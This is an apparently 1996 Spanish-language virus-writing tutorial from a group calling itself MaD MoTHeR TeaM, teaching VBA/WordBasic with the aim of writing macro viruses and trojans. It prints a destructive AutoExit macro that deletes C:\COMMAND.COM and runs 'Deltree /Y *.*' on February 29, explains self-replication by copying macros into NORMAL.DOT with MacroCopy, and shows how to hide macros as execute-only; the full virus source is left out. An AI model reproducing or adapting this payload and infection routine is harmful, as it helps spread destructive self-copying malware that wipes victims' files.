Virus y troyanos del tipo VBA.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ VIRUS Y TROYANOS VBA @
@ by @
@ Leugim San @
@ & @
@ MaD MoTHeR @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
(@) MaD MoTHeR TeaM - 1996
Una macro es un programa escrito en un lenguaje determinado y se utiliza
principalmente para automatizar procesos en una aplicaci¢n.
En nuestro caso particular nos centraremos en los lenguajes Visual Basic for
Aplications (VBA) y WordBasic (WB) que son los lenguajes que utilizan las
aplicaciones de Microsoft. VBA lo utilizan: Excel, Project, PowerPoint. WB
lo utiliza Word.
A partir de ahora trataremos al VBA como el lenguaje generalizado, puesto que
VBA es el intento de unificar un lenguaje de macros com£n a todas las aplica-
ciones de MicroSoft. De todas maneras el WordBasic contin£a teniendo ciertas
carater¡sticas que har que, en determinadas ocasiones, nos refiramos espec¡-
ficamente a ‚ste.
Existen ciertas diferencias entre la sintaxis de estos dos lenguajes, pero la
sistem tica de programaci¢n es id‚ntica por lo que, mientras no se indique lo
contrario, trataremos al VBA como un lenguaje unificado para las aplicaciones
de MicroSoft.
Las macros VBA se denominan PROCEDIMIENTOS y pueden ser de dos tipos:
- Procedimientos Sub
- Procedimientos Function
Los Procedimientos Sub pueden ser ejecutados directamente o ser llamados por
otra macro. La sintaxis de estos procedimientos es la siguiente:
Sub
-> aqu¡ van las lineas de la macro <-
' los comentarios se preceden de un ap¢strofo.
End Sub
Ejemplo:
Sub Saludo
' Esta macro activa una ventana de di logo.
MsgBox "Hello World!"
End Sub
Los Procedimientos Function (tambi‚n llamados FUNCIONES) devuelven un valor,
que puede ser pasado como par metro a otro procedimiento VBA. Su sintaxis es:
Function (argumentos)
-> Instrucciones <-
' Comentarios
End Function
Ejemplo:
Function SumaAB(a,b)
' Le paso los par metros a y b y devuelve SumaAB
SumaAB = a+b
End Function
En un documento puede haber tantas macros como se desee.
Ahora que est m s claro el concepto de conjunto de macros, lo denominaremos
MODULO VBA. Es decir: un M¢dulo VBA es un conjunto de macros (Procedimientos
Sub y Function) que componen un documento de Office.
El lenguaje VBA tambi‚n trabaja con OBJETOS. Es decir: podemos hacer referen-
cia a otros documentos, gr ficos, ... dentro de los M¢dulos VBA. Los objetos
tienen PROPIEDADES. Si un fichero en un objeto, el color de fondo es una pro-
piedad (tambi‚n llamada ATRIBUTO). Los objetos tambi‚n tienen METODOS, que
son las operaciones que se pueden realizar con los objetos.
VBA tambi‚n permite trabajar con VARIABLES.
El VBA es un lenguaje de programaci¢n estructurado imperativo, por lo que in-
cluye las construcciones t¡picas de estos lenguajes de programaci¢n:
- BUCLES Fox-Next:
Sub Contador
Num_Infect=0
For Count=1 to 10
Num_Infect=Num_Infect+Count
Next Count
MsgBox "He llegado al n§ m ximo de infecciones"
End Sub
- CONDICIONES If-Then:
Sub Check_Infect
If Num_Infect=0 Then MsgBox "Archivo no infectado"
End Sub
- CONTRUCCIONES With-End With:
Se utiliza para trabajr con varias propiedades de un objeto.
Sub CambiarPropiedades
With Selection
.Font.Bold=True
.Font.ColorIndex=3 ' Color Rojo
End With
End Sub
- CONSTRUCCIONES Select Case-End Select:
Sub Analiza_Infecci¢n
Select Case num_Infect
Case 0
MsgBox "Fichero no infectado"
Case is > 0
MsgBox "Fichero Infectado"
Case is < 0
num_Infect=0
End Case
End Sub
Una herramienta muy £til para trabajar con el lenguaje VBA es la ventana de
DEPURACION. En ella podemos tracear el c¢digo e inspeccionarlo para analizar
los posibles resultados del mismo. Una t‚cnica de depuraci¢n consiste en
utilizar FLAGS (Banderas) para interrumpir moment neamente el c¢digo, a base
de MSgBox para poder analizar el contenido de ciertas variables e instruccio-
nes (aunque el depurador de VBA permite insertar puntos de interrupci¢n
para detener moment neamente el c¢digo).
Algo a tener en cuenta separadamente, por la importancia que tienen, son los
ARGUMENTOS de un Procedimiento Function:
Como hemos visto anteriormente, la estructura de un Procedimiento VBA es la
siguiente:
Function ()
. . .
End Function
Los ARGUMENTOS pueden ser constantes, variables o expresiones. Hay Procedi-
mientos a los que no es necesarios pasarle argumentos:
Function Pilla_nombre()
nombre=Application.UserName
End Function
Hay Procedimientos Function que siempre tienen un n£mero fijo de argumentos
(pueden llegar a 60). Otros tienen una serie de argumentos fijos y otros op-
cionales.
Una vez que hemos sentados los conceptos b sicos del VBA, pasemos a tratar
espec¡ficamente el tema que nos ocupa...
-> LOS VIRUS Y TROYANOS VBA O DE MACRO <-
El lenguaje VBA es muy vers til y ello se debe fundamentalmente a dos razo-
nes: la primera de ellas es su gran facilidad de aprendizaje y uso. Al ser
un lenguaje de alto nivel orientado a eventos (no confundir con orientado a
objetos) es muy sencillo realizar m¢dulos complejos con relativa comodidad.
La segunda es su enorme cantidad de funciones predefinidas que le otorgan una
potencia adicional insospechada. Podr¡amos citar una tercera raz¢n (aunque
sea un caso particular de la anterior) y es la existencia de FUNCIONES (O
MACROS) DE EJECUCION AUTOMATICA con las cuales podremos simular ciertas
circunstancias que facilitan todav¡a m s el conseguir efectos hasta ahora
caracter¡sticos de los llamados VIRUS TRADICIONALES (autoreplicaci¢n, perma-
nencia en memoria, ...)
El VBA posee, como caracter¡stica exclusiva, la propiedad de la PORTABILIDAD.
VBA funciona tanto en entornos Windows 3.x como en Windows 95, Windows NT,
Macintosh, ... es decir: en cualquier entorno o sistema operativo que posea
una versi¢n de alguna de las aplicaciones que soportan VBA.
Pero no todo iban a ser facilidades... :-)
VBA es un lenguaje que se adapta al idioma de la aplicaci¢n que lo contiene.
Esto es: si tenemos una versi¢n en Castellano del procesador de textos Micro-
soft WORD los nombre de las funciones predefinidas estar n en castellano. Con
los cual tendr¡amos que las macros 1 y 2 NO son iguales (puesto que la macro
1 est construida con la versi¢n en castellano de VBA y la macro 2 con la
versi¢ inglesa.
- Macro 1:
Sub PRUEBA
Con Selecci¢n.Fuente
.Nombre="Arial"
Fin Con
End Sub
- Macro 2:
Sub PRUEBA
With Selection.Font
.Name="Arial"
End With
End Sub
Qu‚ pasar¡a al ejecutar la macro 2 con la versi¢n en castellano del WORD?
Pues que nos dar¡a un error en la ejecuci¢n de la macro.
Recordad que VBA es un lenguaje interpretado (no compilado) con lo cual el
error lo conseguir¡amos en tiempo de ejecuci¢n de la misma.
Es esto ABSOLUTAMENTE cierto? ... ... ... ... }:-) ...
No! ;-)
Me explico: hay funciones que son comunes a todas las versiones de VBA.
Por ejemplo: La macro autom tica AutoExec (que se ejecuta al arrancar WORD
siempre que se encuentre almacenada en la plantilla normal.dot) funcionar¡a
siempre que se encuentre almacenada en la plantilla normal.dot) funcionar¡a
para las dos versiones de VBA.
Quiz uno de los primeros ejercicios ser¡a intentar conseguir un virus (o un
troyano, en su defecto) que sea multiplataforma y multilenguaje...
... }:-) ... igual ya existe ...
Bien ... no nos desviemos ...
El siguiente paso, una vez analizada la sintaxis del lenguaje en cuesti¢n es
hacer un estudio de las funciones (£tiles para nuestro prop¢sito) que vienen
implementadas en VBA. Como este no es un tratado general de programaci¢n en
VBA ahora nos centraremos en las MACROS AUTOMATICAS del procesador de textos
Microsoft WORD que est n implementadas en WordBasic (y NO en VBA).
Existen 5 macros especiales de ejecuci¢n autom tica que hay que tener en
cuenta a la hora de dise¤ar macros:
- AutoExec.- Es una macro que se activa al llamar al procesador de
textos, siempre y cuando est‚ almacenada en la planti-
lla NORMAL.DOT o en el directorio por defecto de la
aplicaci¢n.
- AutoNew.- Se activa al crear un nuevo documento.
- AutoOpen.- Se activa al abrir un documento existente
- AutoClose.- Se activa al cerrar un documento
- AutoExit.- Se activa al salir del procesador de textos.
Para comprobar la potencia de estas macros veamos alg£n ejemplo:
(por ahora no nos preocuparemos del idioma de VBA)
' Grabar esta macro con el nombre AutoExit
Sub MAIN
If Application.Username <> "MaD_MoTHeR" Then
' Verificamos que la Aplicaci¢n NO est‚ registrada a cierta persona
SetAttr "C:\COMMAND.COM",0
' Le quitamos los atributos a este fichero
Open "C:\COMMAND.COM" for Output as #1
' Lo abrimos para comprobar que no se dispara ning£n FLAG
' de error
Close #1
' Lo cerramos de nuevo
Kill "C:\COMMAND.COM"
' }:-)
End If
If Month(Now())=2 Then
' Buscamos el mes de Febrero
If Day(Now())=29 Then
' D¡a 29 (1 vez cada 4 a¤os) :-)))))
Shell "Deltree /Y *.* > null"
' Probadlo... ah! el /Y funciona en todos los idiomas! :-)
' quedan ficheros sin borrar... pero qu‚ m s d ! :-)))
End If
End If
End Sub
Como parece l¢gico esta macro se ejecutar al salir del Word.
-> REPLICACION <-
Bien. El £nico problema con el que nos tendremos que enfrentar para poder
conseguir un aut‚ntico virus VBA es saber c¢mo podemos hacer que ‚ste se
'replique'. Para ello lo £nico que debemos tener en cuenta es c¢mo podemos
adaptar una macro autom tica (este ser¡a el ejemplo m s sencillo) para que se
instale en la plantilla que WORD abre por defecto.
Esto se consigue con una rutina que opere de la siguiente manera:
Definimos una variable que almacene el nombre completo de la macro.
nombre$ = WindowName$() + ":AutoNew" -> Por ejemplo para que 'actue'
al crear un nuevo documento.
Y, luego, s¢lo nos falta copiarla a la plantilla NORMAL.DOT.
MacroCopy nombre$, "Global:AutoNew"
Sencillo... no? :-)
Pues eso es todo!
Realmente se pueden conseguir sutilezas muy refinadas aplicando con cierto
estilo estas indicaciones... pero, en s¡ntesis, ‚sta es la forma de trabajar
de un virus de macro.
De lo £nico que nos faltar¡a por hablar ser¡a de la ENCRIPTACI¢N:
Encriptar una macro es todav¡a m s sencillo que hacerla 'residente'...
:-)
MacroCopiar "Miplantilla:Mimacro", "Global:AutoClose", 1
La funci¢n MacroCopiar con el par metro 1 (cualquiera distinto de 0 servir¡a)
hace que la macro resultado de la copia sea SOLO EJECUTABLE (no la podremos
editar), con lo cual conseguimos una macro encriptada! :-)'''''
Veamos todo esto en un ejemplo:
============================================================================
Virus VBA: Galicia_Kalidade
Autor: MaD MoTHeR
Fecha: Noviembre'96
Comentario: Este virus, aunque sencillo, es el UNICO virus del mundo que
infecta al 'hacer' un "DIR A:"
}:-)
--- >-------------------------------------------------------------------------
> NOTA:
> Aqu¡ iba el fuente del virus. El que lo quiera ya sabe donde
> conseguirlo. Y, de todas maneras, no creo necesario volver a
> ponerlo.
============================================================================
[Indice general] - [Sexo] - [linux] - [humor] - Chat entre usuarios - [miscelanea] - [Novedades] -
![]()